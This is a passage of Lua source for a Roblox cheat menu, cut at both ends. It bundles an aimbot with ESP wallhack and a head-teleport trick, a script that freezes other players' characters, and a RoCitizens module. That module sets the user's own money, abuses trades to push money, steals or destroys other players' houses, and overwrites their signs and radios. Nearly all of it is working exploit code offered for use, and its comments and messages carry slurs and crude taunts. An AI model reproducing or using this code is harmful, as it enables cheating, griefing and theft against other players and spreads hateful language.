== "release" then release() end end elseif blademode == "dildo" then raep() end end end) end spawned() player.CharacterAdded:connect(function() spawned() end) local avgs = {} game:GetService('RunService').Heartbeat:connect(function(step) local ofps = math.floor((60/(step*60))*10)/10 if #avgs > 100 then table.remove(avgs,1) end table.insert(avgs,#avgs+1,ofps) local fpsa = 0 for i,v in pairs(avgs) do fpsa = fpsa+v end fpsa = math.floor(fpsa/#avgs) fps.Text = 'FPS: '..tostring(fpsa) end) while true do for i,v in pairs(rekt) do if v.Parent ~= nil then if v:FindFirstChildOfClass('Humanoid') and v:FindFirstChildOfClass('Humanoid').Health>0 then for a,c in pairs(v:GetChildren()) do if c:IsA('Tool') then c.ManualActivationOnly = true wait() if game:GetService('Players'):GetPlayerFromCharacter(v) then c.Parent = game:GetService('Players'):GetPlayerFromCharacter(v).Backpack c.ManualActivationOnly = false end end end v:FindFirstChildOfClass('Humanoid').PlatformStand = true v:FindFirstChildOfClass('Humanoid').Sit = false v:FindFirstChildOfClass('Humanoid').JumpPower = 0 v:FindFirstChildOfClass('Humanoid').WalkSpeed = 0 v:FindFirstChildOfClass('Humanoid').Name = "hecc" else table.remove(rekt,i) end else table.remove(rekt,i) end end wait() end end) aimbot.Name = "aimbot" aimbot.Parent = ScriptFrame aimbot.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) aimbot.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) aimbot.BorderSizePixel = 4 aimbot.Position = UDim2.new(0.0382015109, 0, 0.817967713, 0) aimbot.Size = UDim2.new(0, 200, 0, 50) aimbot.Font = Enum.Font.SourceSansItalic aimbot.Text = "CB:RO Aimbot" aimbot.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) aimbot.TextSize = 30 aimbot.MouseButton1Down:connect(function() do --SIGHT Hotkeys ESP - Backslash - \ AimAssist - Capslock Spinbot - Right Alt By Jake#9795 local plr = game.Players.LocalPlayer local allsguis = {} local enabled = false local dohax = function(lbplr) wait() --make sure the character exists if not lbplr.Character then return end for _,obj in next,lbplr.Character:children() do if obj:IsA("BasePart") then local sguis = {} local snew = function(...) for _,face in next,{...} do local sgui = Instance.new("SurfaceGui",obj) sgui.Enabled = enabled sgui.AlwaysOnTop = true sgui.Face = face table.insert(sguis,sgui) sgui.AncestryChanged:connect(function() for i,v in next,sguis do if v == sgui then table.remove(sguis,i) sgui:destroy() end end end) end end snew("Front", "Back", "Left", "Right", "Top", "Bottom") for _,sgui in next,sguis do local sframe = Instance.new("Frame",sgui) sframe.Size = UDim2.new(1,0,1,0) sframe.BorderSizePixel = 0 sframe.BackgroundTransparency = .5 sframe.BackgroundColor3 = lbplr.TEEM.Value == plr.TEEM.Value and BrickColor.new("Really blue").Color or BrickColor.new("Really red").Color end table.insert(allsguis,sguis) end end end local connectPlayer = function(lbplr) if lbplr ~= plr then dohax(lbplr) lbplr.CharacterAdded:connect(function(char) dohax(lbplr) end) end end for _,v in next,game.Players:GetPlayers() do connectPlayer(v) end game.Players.PlayerAdded:connect(function(p) connectPlayer(p) end) game:GetService("UserInputService").InputBegan:connect(function(input) if input.KeyCode == Enum.KeyCode.BackSlash then enabled = not enabled for _,v in next,allsguis do for __,vv in next,v do vv.Enabled = enabled end end end end) end do --AIM local cam = game:GetService("Workspace").CurrentCamera local plrs = game:GetService("Players"):GetPlayers() local lplr = game:GetService("Players").LocalPlayer local aiming = false local dolerp = true game:GetService("RunService"):BindToRenderStep("UpdateCamera", Enum.RenderPriority.Camera.Value, function() if not aiming or not lplr.Character or not lplr.Character:FindFirstChild("Head") then return end local cchar,cdist for _,plr in next,plrs do if plr ~= lplr and plr.TEEM.Value ~= lplr.TEEM.Value then local char = plr.Character if char and char:FindFirstChild("Head") then local hit = workspace:FindPartOnRay(Ray.new((cam.CFrame*CFrame.new(0,0,-5)).p, char.Head.Position - (cam.CFrame*CFrame.new(0,0,-5)).p)) if hit and hit.Parent and hit.Parent == char or hit.Parent.Parent == char then local dist = (char.Head.Position - lplr.Character.Head.Position).magnitude if cdist == nil or dist < cdist then cdist = dist cchar = char end end end end end if not cchar then return end cam.CFrame = dolerp and cam.CFrame:lerp(CFrame.new(cam.CFrame.p, cchar.Head.CFrame.p), .15) or CFrame.new(cam.CFrame.p, cchar.Head.CFrame.p) end) game.Players.PlayerAdded:connect(function(plr) table.insert(plrs,plr) end) game.Players.PlayerRemoving:connect(function(plr) for i,v in next,plrs do if v == plr then table.remove(plrs,i) end end end) game:GetService("UserInputService").InputBegan:connect(function(input) if input.KeyCode == Enum.KeyCode.CapsLock then aiming = not aiming elseif input.KeyCode == Enum.KeyCode.RightBracket then dolerp = true elseif input.KeyCode == Enum.KeyCode.LeftBracket then dolerp = false end end) end do --OMGWHAT local plr = game.Players.LocalPlayer game:GetService("UserInputService").InputBegan:connect(function(input) if input.KeyCode == Enum.KeyCode.RightAlt then if not plr.Character or not plr.Character:FindFirstChild("Head") then return end for _,v in next,game.Players:children() do if v ~= plr and v.TEEM.Value ~= plr.TEEM.Value and v.Character and v.Character:FindFirstChild("Head") and v.Character:FindFirstChild("Torso") and v.Character.Torso:FindFirstChild("Neck") then local char = v.Character local head = char.Head char.Torso["Neck"]:destroy() head.Anchored = true head.CanCollide = false head.Transparency = 1 head.face:destroy() for _,vv in next,head:children() do if vv:IsA("SurfaceGui") then vv:destroy() end end local rs = game:GetService("RunService").RenderStepped:connect(function() head.CFrame = plr.Character.Head.CFrame*CFrame.new(0,0,-5) end) head.AncestryChanged:connect(function() rs:disconnect() end) plr.Character.Head.AncestryChanged:connect(function() rs:disconnect() end) end end end end) end end) sexitbutton.Name = "sexitbutton" sexitbutton.Parent = ScriptFrame sexitbutton.BackgroundColor3 = Color3.new(0.333333, 0, 1) sexitbutton.BorderSizePixel = 0 sexitbutton.Position = UDim2.new(0.935431778, 0, -0.000421598554, 0) sexitbutton.Size = UDim2.new(0, 48, 0, 65) sexitbutton.Font = Enum.Font.SourceSansBold sexitbutton.Text = "X" sexitbutton.TextColor3 = Color3.new(0.603922, 0.568627, 0.988235) sexitbutton.TextSize = 30 sexitbutton.TextWrapped = true sexitbutton.MouseButton1Down:connect(function() ScriptFrame.Visible = false MainFrame.Visible = true end) script2.Name = "script2" script2.Parent = Streets script2.Active = true script2.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647) script2.BorderSizePixel = 0 script2.Draggable = true script2.Position = UDim2.new(0.426697522, 0, 0.338558018, 0) script2.Selectable = true script2.Size = UDim2.new(0, 788, 0, 428) script2.Visible = false S2.Name = "S2" S2.Parent = script2 S2.BackgroundColor3 = Color3.new(0.333333, 0, 1) S2.BorderSizePixel = 0 S2.Size = UDim2.new(0, 788, 0, 55) s2exitbutton.Name = "s2exitbutton" s2exitbutton.Parent = script2 s2exitbutton.BackgroundColor3 = Color3.new(0.333333, 0, 1) s2exitbutton.BorderSizePixel = 0 s2exitbutton.Position = UDim2.new(0.939502418, 0, 0.00359826954, 0) s2exitbutton.Size = UDim2.new(0, 48, 0, 50) s2exitbutton.Font = Enum.Font.SourceSansBold s2exitbutton.Text = "X" s2exitbutton.TextColor3 = Color3.new(0.603922, 0.568627, 0.988235) s2exitbutton.TextSize = 30 s2exitbutton.TextWrapped = true s2exitbutton.MouseButton1Down:connect(function() script2.Visible = false MainFrame.Visible = true end) TextLabel.Parent = script2 TextLabel.BackgroundColor3 = Color3.new(0.333333, 0, 1) TextLabel.BorderSizePixel = 0 TextLabel.Position = UDim2.new(0.284391522, 0, 0.00508905854, 0) TextLabel.Size = UDim2.new(0, 340, 0, 50) TextLabel.Font = Enum.Font.SourceSans TextLabel.Text = "Cool Scripts" TextLabel.TextColor3 = Color3.new(0.0784314, 0.0588235, 0.207843) TextLabel.TextSize = 40 RoCitizens.Name = "RoCitizens" RoCitizens.Parent = script2 RoCitizens.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) RoCitizens.BorderSizePixel = 0 RoCitizens.Position = UDim2.new(0.0152284279, 0, 0.212616831, 0) RoCitizens.Size = UDim2.new(0, 200, 0, 50) RoCitizens.Font = Enum.Font.SourceSans RoCitizens.Text = "RoCitizens" RoCitizens.TextSize = 40 RoCitizens.MouseButton1Down:connect(function() -- Made by FalconPunch: https://v3rmillion.net/member.php?action=profile&uid=415071 -- Don't modify the script to steal money, thats fucked up beyond belief you fucking Satan's child -- also use p to open and close ;) --[[ ToDo: 1) Option to prevent other exploiters using this gui from destroying your house. ]] local Obj = nil local Succ = pcall(function() Obj = game:GetObjects("rbxassetid://1315335901") Obj[1].Parent = game.CoreGui end) if not Succ or Obj == nil then Obj = getobjects(game, "rbxassetid://1315335901") Obj[1].Parent = game.CoreGui end if Obj == nil then error("YOUR EXPLOIT CAN'T USE GETOBJECTS.") end local serv = setmetatable({}, { __index = function(t, k) return game:GetService(k) end }) local Plrs = serv.Players local Run = serv.RunService local RepStor = serv.ReplicatedStorage local CoreGui = serv.CoreGui local UserInput = serv.UserInputService local Http = serv.HttpService if game.PlaceId ~= 137877687 then local Hint = Instance.new("Hint", CoreGui) Hint.Text = "You fucking idiot, you need to be playing RoCitizens for this GUI" wait(10) Hint:Destroy() script.Parent:Destroy() end local MyPlr = Plrs.LocalPlayer local MyChar = MyPlr.Character warn("Waiting for MyMoney") local MyMoney do repeat wait() until MyPlr:FindFirstChild("Money") end MyMoney = MyPlr.Money warn("Waiting for ChangMoney") local ChangeMoney do repeat wait() until MyPlr:FindFirstChild("ChangeMoney") end ChangeMoney = MyPlr.ChangeMoney local RoCitizensGUI = CoreGui.RoCitizens local ComRelay = workspace.CommunicationRelays local CTrades = workspace.CurrentTrades local SelectedPlayer = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())] RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. SelectedPlayer.Name local PermsExploit = false local ExplosivesExploit = false local LockpickExploit = false local AntiHouseDestroy = false local AntiHouseStealSign = nil function format_int(Num) local i, j, minus, int, fraction = tostring(Num):find("([-]?)(%d+)([.]?%d*)") int = int:reverse():gsub("(%d%d%d)", "%1,") return minus .. int:reverse():gsub("^,", "") .. fraction end function FindPlayer(Str) local Plr = { } for _, v in pairs(Plrs:GetPlayers()) do if string.lower(string.sub(v.Name, 1, string.len(Str))) == string.lower(Str) then table.insert(Plr, v) end end if #Plr == 1 then return Plr[1] else return nil end end function FindPlayersWithAHouse() local Players = { } local Properties = { } for _, v in next, workspace:GetChildren() do if v:IsA("Model") and v.Name == "Property" then table.insert(Properties, v:GetChildren()) end end for _, v in next, Properties do local Find = v[1]:FindFirstChild("Owner") if Find then local FindPlr = Plrs:FindFirstChild(Find.Value) if FindPlr and FindPlr:IsA("Player") then table.insert(Players, FindPlr) end end end if #Players <= 0 then Players = nil end return Players end function FindEmptyProperty(Prop) local Properties = { } for _, v in next, workspace:GetChildren() do if v.Name == "Property" then local House = v:GetChildren() local GetPos = Vector3.new(Prop[1], Prop[2], Prop[3]) if (House[1].Base.Position - GetPos).magnitude < 5 then local Find = House[1]:FindFirstChild("Owner") if not Find then table.insert(Properties, v) else workspace.CommunicationRelays.House.ResetProperty:FireServer(House[1]) table.insert(Properties, v) end end end end return Properties end function FindHouse(Plr) local Properties = { } for _, v in next, workspace:GetChildren() do if v:IsA("Model") and v.Name == "Property" then table.insert(Properties, v:GetChildren()) end end for _, v in next, Properties do local Find = v[1]:FindFirstChild("Owner") if Find then if Find.Value == Plr.Name then return v[1] end end end return nil end function GeneratePermsTable(Plr) local Tab = { } for _, v in next, Plrs:GetPlayers() do if v ~= Plr and v ~= MyPlr then Tab[v.Name] = {["Ban"] = false, ["Paint"] = false, ["Door"] = false} elseif v ~= Plr and v == MyPlr then Tab[v.Name] = {["Ban"] = false, ["Paint"] = true, ["Door"] = true} end end return Tab end function FlipLightSwitches(House) local StaticAssets = House.StaticAssets for _, v in next, StaticAssets:GetDescendants() do if v.Name == "SwitchV2" then ComRelay.Interaction.LightInteractV2:FireServer(v) end end end function OpenDoors(House) local StaticAssets = House.StaticAssets for _, v in next, StaticAssets:GetDescendants() do if v.Name == "Door" or v.Name == "GlassDoor" then ComRelay.Interaction.DoorInteract:FireServer(v) end end end function SendMessage(Plr, Msg) --ez ComRelay.Interclient.SendMessage:InvokeServer(Msg, Plr.Name) end function BuildHouse(Plr) local Building = true local Hint = Instance.new("Hint", CoreGui) Hint.Text = "Stealing house... This could take a while... and you might lag...)" SendMessage(Plr, "I stole your house. To get it back: reset character, and spawn it in again. I'm Sowwy. :(") local GetHouse = FindHouse(Plr) if not GetHouse then Hint.Text = "That player doesn't have a house!" wait(7) Hint:Destroy() return end MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0)) repeat wait() until GetHouse.StaticAssets:FindFirstChild("Furniture") local GetFurniture = GetHouse.StaticAssets:FindFirstChild("Furniture") local TempFurniture = Instance.new("Folder", MyPlr) TempFurniture.Name = "TempFurniture" local GetColors = GetHouse.AestheticChanger.UpdateRequested local Table = { } Table["HouseType"] = GetHouse.Name Table["Furniture"] = { } Table["Variables"] = { } for i, v in next, GetFurniture:GetChildren() do local Clo = v:clone() Clo.Parent = TempFurniture end for i, v in next, GetColors:GetChildren() do Table["Variables"][v.Name] = v.Value end ComRelay.House.ResetProperty:FireServer(GetHouse) ComRelay.HomePurchase.House:InvokeServer(GetHouse.Parent, Table) AntiHouseDestroy = false RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF" RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0) GetHouse = FindHouse(MyPlr) for i, v in next, TempFurniture:GetChildren() do Hint.Text = "Stealing house... placing furniture " .. i .. "/" .. #TempFurniture:GetChildren() local Item = v:FindFirstChild("Item") local Color = v:FindFirstChild("Color") if Item and Color then local Furn = workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, v.PrimaryPart.CFrame, GetHouse, Item.Value, Color.Value) if v.Name == "SS_Wooden Sign" then workspace.CommunicationRelays.Interaction.EditSign:FireServer(Furn, v.Plaque.SurfaceGui.TextLabel.Text) end else local Color1 = v:FindFirstChild("Color1") local Color2 = v:FindFirstChild("Color2") local Display = v:FindFirstChild("Display") if Color1 and Color2 and Display then workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, v.PrimaryPart.CFrame, GetHouse, Item.Value, {["Display"] = Display.Value, ["Color1"] = Color1.Value, ["Color2"] = Color2.Value}) end end game:GetService("RunService").RenderStepped:wait() end TempFurniture:Destroy() MyPlr.PlayerGui.Main.MyHouse.Value = GetHouse FlipLightSwitches(GetHouse) Building = false Hint.Text = "House copied, and spawned. Place some furniture to save it to server." wait(10) Hint:Destroy() end function DestroyHouse(Plr, House) if House == nil then House = FindHouse(Plr) end if House ~= nil then MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(House.Base.Position + Vector3.new(0, 5, 0)) repeat MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(House.Base.Position + Vector3.new(0, 5, 0)) Run.RenderStepped:wait() until House.StaticAssets:FindFirstChild("Furniture") local Furn = House.StaticAssets.Furniture for _, v in next, Furn:GetChildren() do if v.Name == "SS_Wooden Sign" then if v.Plaque.SurfaceGui.TextLabel.Text == "can't steal house" then local Hint = Instance.new("Hint", CoreGui) Hint.Text = "CANNOT DESTROY " .. Plr.Name .. "'s HOUSE THEIR ALSO USING THIS GUI <3" wait(10) Hint:Destroy() return end end end ComRelay.House.ResetProperty:FireServer(House) local Hint = Instance.new("Hint", CoreGui) Hint.Text = "Destroyed: " .. SelectedPlayer.Name .. "'s house. You fucking dick." wait(10) Hint:Destroy() if Plr == MyPlr then MyPlr.PlayerGui.Main.MyHouse.Value = nil end end end function DonateExploit(Plr, Amount) local Hint = Instance.new("Hint", CoreGui) Hint.Text = "Sent " .. Plr.Name .. " a trade request. Awaiting response..." if Plr.Money.Value == Amount or Plr.Money.Value > Amount then Hint.Text = "Unable to trade, " .. Plr.Name .. " already has that amount of money!" wait(7) Hint:Destroy() else local Response, TradeId = ComRelay.Interclient.RequestTrade:InvokeServer(Plr.Name) if Response and Response == "Accept" then Hint.Text = "Trade accepted, and hacked donation amount awaiting " .. Plr.Name .. "'s response." local Math = (Amount - Plr.Money.Value) ComRelay.Interclient.TradeStart:InvokeServer(Plr.Name, TradeId) ComRelay.Interclient.TradeUpdate:InvokeServer(TradeId, Math, "Money") repeat wait() until CTrades:FindFirstChild(TradeId) repeat ComRelay.Interclient.TradeAccept:FireServer(TradeId) wait(1) until not CTrades:FindFirstChild(TradeId) Hint.Text = "Sent " .. Plr.Name .. " $" .. format_int(Math) wait(5) Hint:Destroy() elseif Response == "Busy" then Hint.Text = Plr.Name .. " is busy with another trade." wait(6) Hint:Destroy() else Hint.Text = Plr.Name .. " declined trade. Money not sent." wait(5) Hint:Destroy() end end end function StealHouse() local IHaveAHouse = FindHouse(MyPlr) if IHaveAHouse then DestroyHouse(MyPlr, IHaveAHouse) end BuildHouse(SelectedPlayer) end function EquipItem(Item) ComRelay.Character.ItemEquip:FireServer("JobAssets", Item, Item) end function SaveHouse(HouseName) local GetHouse = FindHouse(SelectedPlayer) if not GetHouse then return end MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0)) repeat MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0)) wait() until GetHouse.StaticAssets:FindFirstChild("Furniture") local Furn = GetHouse.StaticAssets.Furniture local Colors = GetHouse.AestheticChanger.UpdateRequested local SaveData = { } SaveData["HouseType"] = GetHouse.Name SaveData["Furniture"] = { } -- Going to be nil. SaveData["Variables"] = { } SaveData["FurnData"] = { } SaveData["Prop"] = {GetHouse.Base.Position.X, GetHouse.Base.Position.Y, GetHouse.Base.Position.Z} for i, v in next, Furn:GetChildren() do SaveData["FurnData"][v.Name .. i] = { } local Item, Color = v:FindFirstChild("Item"), v:FindFirstChild("Color") if Item and Color then SaveData["FurnData"][v.Name .. i]["Name"] = v.Name SaveData["FurnData"][v.Name .. i]["Item"] = Item.Value SaveData["FurnData"][v.Name .. i]["Color"] = Color.Value SaveData["FurnData"][v.Name .. i]["CFrame"] = {v.PrimaryPart.CFrame:components()} if v.Name == "SS_Wooden Sign" then SaveData["FurnData"][v.Name .. i]["Text"] = v.Plaque.SurfaceGui.TextLabel.Text end else local Color1 = v:FindFirstChild("Color1") local Color2 = v:FindFirstChild("Color2") local Display = v:FindFirstChild("Display") local Item = v:FindFirstChild("Item") if Color1 and Color2 and Display and Item then SaveData["FurnData"][v.Name .. i]["Item"] = Item.Value SaveData["FurnData"][v.Name .. i]["Color1"] = Color1.Value SaveData["FurnData"][v.Name .. i]["Color2"] = Color2.Value SaveData["FurnData"][v.Name .. i]["Display"] = Display.Value SaveData["FurnData"][v.Name .. i]["CFrame"] = {v.PrimaryPart.CFrame:components()} end end end for _, v in next, Colors:GetChildren() do SaveData["Variables"][v.Name] = v.Value end pcall(function() writefile(HouseName .. ".txt", Http:JSONEncode(SaveData)) end) pcall(function() Synapse:WriteFile(HouseName .. ".txt", Http:JSONEncode(SaveData)) end) local hint = Instance.new("Hint", game.CoreGui) hint.Text = "House Saved to file: " .. HouseName wait(5) hint:Destroy() end function LoadHouse(HouseName) local Hint = Instance.new("Hint", CoreGui) Hint.Text = "Loading house: " .. HouseName local HouseData = nil local Succ = pcall(function() HouseData = readfile(HouseName .. ".txt") end) if not Succ then local Succ2 = pcall(function() HouseData = readfile(HouseName .. ".txt") end) if not Succ2 then Hint:Destroy() return end end HouseData = Http:JSONDecode(HouseData) local GetAProperty = FindEmptyProperty(HouseData.Prop) if #GetAProperty > 1 then GetAProperty = GetAProperty[math.random(1, #GetAProperty)] else GetAProperty = GetAProperty[1] end if GetAProperty == nil then return end local GetHouse = FindHouse(MyPlr) if GetHouse then ComRelay.House.ResetProperty:FireServer(GetHouse) AntiHouseDestroy = false RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF" RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0) end workspace.CommunicationRelays.HomePurchase.House:InvokeServer(GetAProperty, {["HouseType"] = HouseData["HouseType"], ["Furniture"] = { }, ["Variables"] = HouseData["Variables"]}) wait(0.5) GetHouse = FindHouse(MyPlr) local Num = 1 for i, v in next, HouseData.FurnData do Hint.Text = "Loading house: " .. HouseName .. " " .. Num .. "/" .. #HouseData.FurnData if v.Color ~= nil then local C = CFrame.new(v.CFrame[1], v.CFrame[2], v.CFrame[3], v.CFrame[4], v.CFrame[5], v.CFrame[6], v.CFrame[7], v.CFrame[8], v.CFrame[9], v.CFrame[10], v.CFrame[11], v.CFrame[12]) local sexy_bitch = workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, C, GetHouse, v.Item, v.Color) if sexy_bitch.Name == "SS_Wooden Sign" then ComRelay.Interaction.EditSign:FireServer(sexy_bitch, v.Text) end else local C = CFrame.new(v.CFrame[1], v.CFrame[2], v.CFrame[3], v.CFrame[4], v.CFrame[5], v.CFrame[6], v.CFrame[7], v.CFrame[8], v.CFrame[9], v.CFrame[10], v.CFrame[11], v.CFrame[12]) ComRelay.House.PlaceFurniture:InvokeServer(v.Name, C, GetHouse, v.Item, {["Display"] = v.Display, ["Color1"] = v.Color1, ["Color2"] = v.Color2}) end Num = Num + 1 end MyPlr.PlayerGui.Main.MyHouse.Value = GetHouse MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0)) Hint.Text = "House loaded. :)" wait(5) Hint:Destroy() end RoCitizensGUI.Main.Players.Players.PlayerBOX.FocusLost:connect(function() local Plr = FindPlayer(RoCitizensGUI.Main.Players.Players.PlayerBOX.Text) if Plr then SelectedPlayer = Plr RoCitizensGUI.Main.Players.Players.PlayerBOX.Text = Plr.Name RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. Plr.Name else RoCitizensGUI.Main.Players.Players.PlayerBOX.Text = "Enter Player Name" end end) RoCitizensGUI.Main.Players.Players.AllPlayers.MouseButton1Click:connect(function() SelectedPlayer = "Everyone" RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: Everyone" end) RoCitizensGUI.Main.Functions.Func3.Teleport.MouseButton1Click:connect(function() local MyChar = MyPlr.Character local TheirChar = nil if SelectedPlayer ~= "Everyone" then TheirChar = SelectedPlayer.Character if MyChar and TheirChar then local MyTor = MyChar.HumanoidRootPart local TheirTor = TheirChar.HumanoidRootPart MyTor.CFrame = TheirTor.CFrame * CFrame.new(Vector3.new(0, 0, 2)) end else local Hint = Instance.new("Hint", CoreGui) Hint.Text = "Selected Player cannot be everyone!" wait(5) Hint:Destroy() end end) RoCitizensGUI.Main.Functions.Func1.MoneyBox.FocusLost:connect(function() local Num = tonumber(RoCitizensGUI.Main.Functions.Func1.MoneyBox.Text) or 0 if Num > 2147483647 then Num = 2147483647 end if Num < -2147483647 then Num = -2147483647 end RoCitizensGUI.Main.Functions.Func1.MoneyVal.Value = Num RoCitizensGUI.Main.Functions.Func1.MoneyBox.Text = "$" .. format_int(Num) end) RoCitizensGUI.Main.Functions.Func2.MoneyBox.FocusLost:connect(function() local Num = tonumber(RoCitizensGUI.Main.Functions.Func2.MoneyBox.Text) or 0 if Num > 2147483647 then Num = 2147483647 end if Num < 0 then -- Don't be a fucking dick head faggot. Num = 1 end RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value = Num RoCitizensGUI.Main.Functions.Func2.MoneyBox.Text = "$" .. format_int(Num) end) RoCitizensGUI.Main.Functions.Func1.SetMoney.MouseButton1Click:connect(function() local Math = RoCitizensGUI.Main.Functions.Func1.MoneyVal.Value - MyMoney.Value ChangeMoney:Fire(Math) end) RoCitizensGUI.Main.Functions.Func2.SendMoney.MouseButton1Click:connect(function() if SelectedPlayer ~= "Everyone" and SelectedPlayer ~= MyPlr then DonateExploit(SelectedPlayer, RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value) else for _, v in next, Plrs:GetPlayers() do if v ~= MyPlr then if v:FindFirstChild("Money") then DonateExploit(v, RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value) end end end end end) RoCitizensGUI.Main.Functions.Func4.Teleport.MouseButton1Click:connect(function() if SelectedPlayer ~= "Everyone" and SelectedPlayer ~= MyPlr then StealHouse() else local Hint = Instance.new("Hint", CoreGui) Hint.Text = "Cannot steal everyone's house!" wait(5) Hint:Destroy() end end) RoCitizensGUI.Main.Functions.Func5.DestroyBut.MouseButton1Click:connect(function() DestroyHouse(SelectedPlayer) end) RoCitizensGUI.Main.Functions.Func6.Change.MouseButton1Click:connect(function() local id = tonumber(RoCitizensGUI.Main.Functions.Func6.AudioBox.Text) or 856173428 local MyChar = MyPlr.Character local MyTor = MyChar.HumanoidRootPart local SavePos = MyTor.CFrame local GetHousePlrs = FindPlayersWithAHouse() for _, v in next, GetHousePlrs do local TheirHouse = FindHouse(v) if TheirHouse then MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0)) repeat if not TheirHouse:FindFirstChild("Owner") then break end MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0)) Run.RenderStepped:wait() until TheirHouse.StaticAssets:FindFirstChild("Furniture") if not TheirHouse:FindFirstChild("Owner") then return end for _, vv in next, TheirHouse.StaticAssets.Furniture:GetChildren() do if vv.Name:find("VC_Radio") or vv.Name:find("VC_Stereo") then ComRelay.Interaction.ChangeSound:FireServer(vv, tostring(id)) game.StarterGui.RoRadio.RemoveSystem:Fire(vv) end end end end MyTor.CFrame = SavePos end) RoCitizensGUI.Main.Functions.Func14.SignsB.MouseButton1Click:connect(function() local MyChar = MyPlr.Character local MyTor = MyChar.HumanoidRootPart local SavePos = MyTor.CFrame local GetHousePlrs = FindPlayersWithAHouse() for _, v in next, GetHousePlrs do local TheirHouse = FindHouse(v) if TheirHouse then MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0)) repeat if not TheirHouse:FindFirstChild("Owner") then break end MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0)) Run.RenderStepped:wait() until TheirHouse.StaticAssets:FindFirstChild("Furniture") if not TheirHouse:FindFirstChild("Owner") then return end for _, vv in next, TheirHouse.StaticAssets.Furniture:GetChildren() do if vv.Name == "SS_Wooden Sign" then ComRelay.Interaction.EditSign:FireServer(vv, RoCitizensGUI.Main.Functions.Func14.SignsText.Text) end end end end MyTor.CFrame = SavePos end) RoCitizensGUI.Main.Functions.Func7.Permissions.MouseButton1Click:connect(function() PermsExploit = not PermsExploit if PermsExploit then RoCitizensGUI.Main.Functions.Func7.Permissions.Text = "ON" RoCitizensGUI.Main.Functions.Func7.Permissions.TextColor3 = Color3.new(0, 1, 0) else RoCitizensGUI.Main.Functions.Func7.Permissions.Text = "OFF" RoCitizensGUI.Main.Functions.Func7.Permissions.TextColor3 = Color3.new(1, 0, 0) end end) RoCitizensGUI.Main.Functions.Func8.Lockpick.MouseButton1Click:connect(function() LockpickExploit = not LockpickExploit ExplosivesExploit = false if LockpickExploit then RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "ON" RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(0, 1, 0) RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "OFF" RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(1, 0, 0) else RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "OFF" RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(1, 0, 0) end end) RoCitizensGUI.Main.Functions.Func9.Explosives.MouseButton1Click:connect(function() ExplosivesExploit = not ExplosivesExploit LockpickExploit = false if ExplosivesExploit then RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "ON" RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(0, 1, 0) RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "OFF" RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(1, 0, 0) else RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "OFF" RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(1, 0, 0) end end) RoCitizensGUI.Main.Functions.Func10.Clothes.MouseButton1Click:connect(function() for _, v in next, RepStor.Shirt:GetChildren() do MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name) end for _, v in next, RepStor.Pants:GetChildren() do MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name) end for _, v in next, RepStor.Hair:GetChildren() do MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name) end for _, v in next, RepStor.Hat:GetChildren() do MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name) end for _, v in next, RepStor.Glasses:GetChildren() do MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name) end end) RoCitizensGUI.Main.Functions.Func11.Furniture.MouseButton1Click:connect(function() local FurnGUI = MyPlr.PlayerGui.Main.Field.Panel2.Inventory.FurnitureFrame for _, v in next, RepStor.Furniture:GetChildren() do local Clo = v:clone() Clo.Parent = FurnGUI Clo.Visible = true print(Clo:GetFullName()) end end) RoCitizensGUI.Main.Functions.Func12.HouseName.ClearTextOnFocus = false RoCitizensGUI.Main.Functions.Func12.HouseSave.MouseButton1Click:connect(function() SaveHouse(RoCitizensGUI.Main.Functions.Func12.HouseName.Text) end) RoCitizensGUI.Main.Functions.Func13.HouseName.ClearTextOnFocus = false 